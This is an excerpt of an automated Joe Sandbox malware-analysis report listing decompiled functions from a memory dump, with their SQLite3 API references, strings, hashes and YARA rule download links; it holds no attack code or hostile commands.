Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave$sqlite3_free
String ID:
API String ID: 251237202-0
Opcode ID: 42394fb5a788f2ca3e192ebcb52894093d141ef73e50f260fe20adf920bb6df6
Instruction ID: f509928a4a19023eac21ae2a0358e012458144a895d17b4b7f07987d3cad5487
Opcode Fuzzy Hash: 42394fb5a788f2ca3e192ebcb52894093d141ef73e50f260fe20adf920bb6df6
Instruction Fuzzy Hash: 3211C2749A4E518FDB00AFBAC5C451D7BF4FB8634AB25483AE488CB301E734D8D08B52

Uniqueness

Uniqueness Score: -1.00%

Function 61E339EA Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 331COMMON

Download Yara Rule

APIs

Part of subcall function 61E335F6: sqlite3_realloc64.SQLITE3 ref: 61E33549

sqlite3_free.SQLITE3 ref: 61E33BF6
sqlite3_log.SQLITE3 ref: 61E33C77

Part of subcall function 61E093E8: memcmp.MSVCRT ref: 61E09442

Strings

, xrefs: 61E33D3B

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: memcmpsqlite3_freesqlite3_logsqlite3_realloc64
String ID:
API String ID: 167025251-3916222277
Opcode ID: e4541a4aae98f10f1933f3dfe53fa5dd526c0ee65fdc8b9cb79769377ad02908
Instruction ID: 7674bfe9b48576b57c6ef816fe53343d6f6332591bccf23a4894a5ad7dcd6749
Opcode Fuzzy Hash: e4541a4aae98f10f1933f3dfe53fa5dd526c0ee65fdc8b9cb79769377ad02908
Instruction Fuzzy Hash: 7FE1F674E043598BEB14CFA9C884B8DBBF1AF88318F24C56AD819AB396D774D845CF50

Uniqueness

Uniqueness Score: -1.00%

Function 61E215AC Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

sqlite3_str_append.SQLITE3 ref: 61E21628
sqlite3_str_append.SQLITE3 ref: 61E2165C

Strings

,, xrefs: 61E21742
, xrefs: 61E2171E

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_str_append
String ID: $,
API String ID: 1074250351-71045815
Opcode ID: 47b8c36697eb14f8ce8678e95ac893dd7be2c16269d00fe839ea99d920a3a8d6
Instruction ID: 3c2dea6d81359d975d7f89bdf01d43bdb241a07d6012d9c7ff3bf4d08658c843
Opcode Fuzzy Hash: 47b8c36697eb14f8ce8678e95ac893dd7be2c16269d00fe839ea99d920a3a8d6
Instruction Fuzzy Hash: B4A178309093958EDB258FA888E0799BBF1AB47348F28C5D9C4989B241D7B6CBC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 61E2E755 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 216COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 61E2E80B

Strings

fa, xrefs: 61E2E878, 61E2E898, 61E2E974, 61E2E956, 61E2E998

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_text
String ID: fa
API String ID: 348685305-2923799766
Opcode ID: f425bd14ec82053561d2378088be870cf074f4c2bc474f0c8eb4a1ee4b6c29b0
Instruction ID: 4817ec7f1ccbcd8e0472ce2ec47c2c4c33a5a5dbf8cc4b624f61f2e133349028
Opcode Fuzzy Hash: f425bd14ec82053561d2378088be870cf074f4c2bc474f0c8eb4a1ee4b6c29b0
Instruction Fuzzy Hash: 25819270B04A618BEB15CFBAC4A079AB7F6AF89308F2CC55ADC988B345D774D841CB51

Uniqueness

Uniqueness Score: -1.00%

Function 61E3C211 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_mprintf.SQLITE3 ref: 61E3C3C1
sqlite3_free.SQLITE3 ref: 61E3C3ED

Part of subcall function 61E3C1B7: sqlite3_vmprintf.SQLITE3 ref: 61E3C1D0
Part of subcall function 61E3C1B7: sqlite3_mprintf.SQLITE3 ref: 61E3C1EE
Part of subcall function 61E3C1B7: sqlite3_free.SQLITE3 ref: 61E3C1FA
Part of subcall function 61E3C1B7: sqlite3_free.SQLITE3 ref: 61E3C202

Strings

AND, xrefs: 61E3C39D
NOT, xrefs: 61E3C3A7

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_mprintf$sqlite3_vmprintf
String ID: AND$NOT
API String ID: 966554101-2843896482
Opcode ID: cc0a5b649f9f14e569f10de869a8a79b9b1f2c309e84614b7a9d922d104709f3
Instruction ID: 882c3518eac2842b7bf6bd924e6adcfee539de101580121091ebd2f01f6b7c70
Opcode Fuzzy Hash: cc0a5b649f9f14e569f10de869a8a79b9b1f2c309e84614b7a9d922d104709f3
Instruction Fuzzy Hash: 6C51F6B5B08B729BD7009FA5C58166EBBF1BBC9708F20C82ED5999B340D734D841DB92

Uniqueness

Uniqueness Score: -1.00%

Function 61E2393E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_win32_is_nt.SQLITE3 ref: 61E23986
sqlite3_free.SQLITE3 ref: 61E239E4
sqlite3_free.SQLITE3 ref: 61E23A40

Strings

winAccess, xrefs: 61E23A4B

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_win32_is_nt
String ID: winAccess
API String ID: 2284118020-3605117275
Opcode ID: e4bedbe59d0e3adca3a19d5c242b48a8c5a6589a95c469b6edaa5f257f68798b
Instruction ID: 3eded24093e5f9dfbb4e97a052a059c0e2bb0c4d61b901d1e529cbd8f7c23d07
Opcode Fuzzy Hash: e4bedbe59d0e3adca3a19d5c242b48a8c5a6589a95c469b6edaa5f257f68798b
Instruction Fuzzy Hash: B6316E71E082498FDB10DEA8C85575EB7B1FB89318F25CA39D8A497384D770D942CF51

Uniqueness

Uniqueness Score: -1.00%

Function 61E3DAF5 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

Part of subcall function 61E36E74: sqlite3_value_text.SQLITE3 ref: 61E36E8A
Part of subcall function 61E36E74: sqlite3_value_bytes.SQLITE3 ref: 61E36E97
Part of subcall function 61E36E74: sqlite3_get_auxdata.SQLITE3 ref: 61E36ED2
Part of subcall function 61E36E74: memcmp.MSVCRT ref: 61E36EFA

sqlite3_value_text.SQLITE3 ref: 61E3DB5C

Part of subcall function 61E3D9F2: sqlite3_mprintf.SQLITE3 ref: 61E3DA44
Part of subcall function 61E3D9F2: sqlite3_result_error.SQLITE3 ref: 61E3DA5E
Part of subcall function 61E3D9F2: sqlite3_free.SQLITE3 ref: 61E3DA66

sqlite3_result_subtype.SQLITE3 ref: 61E3DC00

Strings

null, xrefs: 61E3DBAB
J, xrefs: 61E3DBF5

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_text$memcmpsqlite3_freesqlite3_get_auxdatasqlite3_mprintfsqlite3_result_errorsqlite3_result_subtypesqlite3_value_bytes
String ID: J$null
API String ID: 3173415908-802103870
Opcode ID: 274a83eaa6338aa8c26de974047efbff8154e50cf941c0775dbd30a6f29113b3
Instruction ID: 72fdee34559e0c4169eca6004373d7a266cbc1dc99c16a4d690cce68f48a8e01
Opcode Fuzzy Hash: 274a83eaa6338aa8c26de974047efbff8154e50cf941c0775dbd30a6f29113b3
Instruction Fuzzy Hash: 39317A74A04269CBDB24DF65C880B8E77B5BFC5318FA0C469E8198B301CB75DA86CF91

Uniqueness

Uniqueness Score: -1.00%

Function 61E3DD42 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 61E3DD7D
sqlite3_value_text.SQLITE3 ref: 61E3DD9D
sqlite3_result_value.SQLITE3 ref: 61E3DDE5

Part of subcall function 61E3D74F: sqlite3_mprintf.SQLITE3 ref: 61E3D764
Part of subcall function 61E3D74F: sqlite3_result_error.SQLITE3 ref: 61E3D77A
Part of subcall function 61E3D74F: sqlite3_free.SQLITE3 ref: 61E3D782

Strings

replace, xrefs: 61E3DD61

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_freesqlite3_mprintfsqlite3_result_errorsqlite3_result_value
String ID: replace
API String ID: 822508682-211625029
Opcode ID: 3e05829e6dc7bf4e3aee333ad7af3b9330e898756e0c33c38da5fa9a9a7ab51a
Instruction ID: c68939906527793a1b64b40f01f79120a12f6e09038bffe454741cd93bd6567e
Opcode Fuzzy Hash: 3e05829e6dc7bf4e3aee333ad7af3b9330e898756e0c33c38da5fa9a9a7ab51a
Instruction Fuzzy Hash: CD216D386043559BCB11DF68C488A9ABBF5BFC4318FA4C519EC888B310D735D941CB41

Uniqueness

Uniqueness Score: -1.00%

Function 61E1BD77 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

sqlite3_malloc.SQLITE3 ref: 61E1BD95

Part of subcall function 61E19649: sqlite3_initialize.SQLITE3(00000007,00000007,?,61E192D3,?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E19651

sqlite3_realloc.SQLITE3 ref: 61E1BDE3
sqlite3_free.SQLITE3 ref: 61E1BDF9

Strings

d, xrefs: 61E1BDAC

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_freesqlite3_initializesqlite3_mallocsqlite3_realloc
String ID: d
API String ID: 211589378-2564639436
Opcode ID: 67c3ec3fce4c0ce2a817e1b6b07967d48cefd174ddba59761d7dde80af0ea07b
Instruction ID: 5eb10806d73b1e158523f5110a8a2eb80c75f1067f5d8bb843f705816c26852d
Opcode Fuzzy Hash: 67c3ec3fce4c0ce2a817e1b6b07967d48cefd174ddba59761d7dde80af0ea07b
Instruction Fuzzy Hash: EE21E5B1A04245CFDB10CFA9C4C1699BBF4AF49314F24C4AAD9489B319D738E845CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 61E1DA40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 63COMMON

Download Yara Rule

APIs

sqlite3_aggregate_context.SQLITE3 ref: 61E1DA57

Strings

\, xrefs: 61E1DA82
", xrefs: 61E1DA78
,, xrefs: 61E1DA73

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_aggregate_context
String ID: "$,$\
API String ID: 2928764607-4027707629
Opcode ID: bc74fea373f3912936672a338d039dfaf0a5966c3a05be29c920631548ce789c
Instruction ID: 3f92a296ed576ced62be27a7d650b2fe3ef4c1cddaef893d23151d14f14db05e
Opcode Fuzzy Hash: bc74fea373f3912936672a338d039dfaf0a5966c3a05be29c920631548ce789c
Instruction Fuzzy Hash: 7F112777E0D2158FD708CEA9D489BAABBA5FB88310F19C12BDC188B345C275D9418BD0

Uniqueness

Uniqueness Score: -1.00%

Function 61E1E80C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

sqlite3_value_int.SQLITE3 ref: 61E1E820
sqlite3_value_int.SQLITE3 ref: 61E1E82D
sqlite3_result_blob.SQLITE3 ref: 61E1E8A4

Strings

<, xrefs: 61E1E898

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_int$sqlite3_result_blob
String ID: <
API String ID: 2918918774-4251816714
Opcode ID: 09260fb7672316b6ff5e49a9de58f6847701a6648446cc1570d3fc167f8388f7
Instruction ID: 65e14bba99f512c2259dd83bc7b5b1a97c298af160ed0ce8368e01df72ad15a2
Opcode Fuzzy Hash: 09260fb7672316b6ff5e49a9de58f6847701a6648446cc1570d3fc167f8388f7
Instruction Fuzzy Hash: E0116AB59046068FCB04DF6AD480A9ABBF5FF88364F15C56AE8589B320E334E951CF90

Uniqueness

Uniqueness Score: -1.00%

Function 61E27F76 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 61E253DF: sqlite3_log.SQLITE3(?,?,?,?,?,61E25492), ref: 61E2541A

sqlite3_mutex_enter.SQLITE3 ref: 61E27FA9
sqlite3_mutex_leave.SQLITE3 ref: 61E27FE4

Part of subcall function 61E22C1A: sqlite3_log.SQLITE3 ref: 61E22C43

Strings

out of memory, xrefs: 61E27FB2, 61E27FEE

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_log$sqlite3_mutex_entersqlite3_mutex_leave
String ID: out of memory
API String ID: 2575432037-2599737071
Opcode ID: fa8e613aaf5d897da21f31f316482b2620e0beda794ec253102c0880587d9f2e
Instruction ID: 87a90fdb5ffeaae849369e44fc4a2a2d4e54ae154a116858fa0a11396628d028
Opcode Fuzzy Hash: fa8e613aaf5d897da21f31f316482b2620e0beda794ec253102c0880587d9f2e
Instruction Fuzzy Hash: 47014F70E0C6459BEB149FE9D8D0A1977E4EF55318F28C4A9EC488F309E775D8D08B51

Uniqueness

Uniqueness Score: -1.00%

Function 61E01440 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 25libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 61E01456
GetProcAddress.KERNEL32 ref: 61E01471

Strings

_Jv_RegisterClasses, xrefs: 61E01466
libgcj-16.dll, xrefs: 61E0144F

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: _Jv_RegisterClasses$libgcj-16.dll
API String ID: 1646373207-328863460
Opcode ID: e98d61f42e88015906efc52fd7345656ed150c2a388941d08bff184bef2d7cfc
Instruction ID: 97a7710ca2d900b5804395d1622dd96b77bdb01bea895aca216a6cb86975ee4a
Opcode Fuzzy Hash: e98d61f42e88015906efc52fd7345656ed150c2a388941d08bff184bef2d7cfc
Instruction Fuzzy Hash: BAE065B09187029BE7146FF5850673D79B5AFC1709F62C81CD4809A260E630C491C763

Uniqueness

Uniqueness Score: -1.00%

Function 61E1E435 Relevance: 6.2, APIs: 4, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_malloc64.SQLITE3 ref: 61E1E4A4

Part of subcall function 61E19E92: sqlite3_initialize.SQLITE3 ref: 61E19E9D

sqlite3_free.SQLITE3 ref: 61E1E5BB
sqlite3_result_error_code.SQLITE3 ref: 61E1E6DE
sqlite3_result_double.SQLITE3 ref: 61E1E6F3

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_freesqlite3_initializesqlite3_malloc64sqlite3_result_doublesqlite3_result_error_code
String ID:
API String ID: 129515768-0
Opcode ID: e463c9e4b7690211c3701cb2ea35b921039793edd3aa8003e5bcb2004785f1ab
Instruction ID: 04a17378ea14b44ce9eadbda7fded7dc333c70c530c151f577f799465770b3e1
Opcode Fuzzy Hash: e463c9e4b7690211c3701cb2ea35b921039793edd3aa8003e5bcb2004785f1ab
Instruction Fuzzy Hash: 81A10670A08A09DFCB01DF69C58568EBBF5FF88354F218829E899E7754EB30D951CB41

Uniqueness

Uniqueness Score: -1.00%

Function 61E1DF76 Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 61E1E076
localtime.MSVCRT ref: 61E1E084
sqlite3_mutex_leave.SQLITE3 ref: 61E1E0B4
sqlite3_result_error.SQLITE3 ref: 61E1E0D6

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
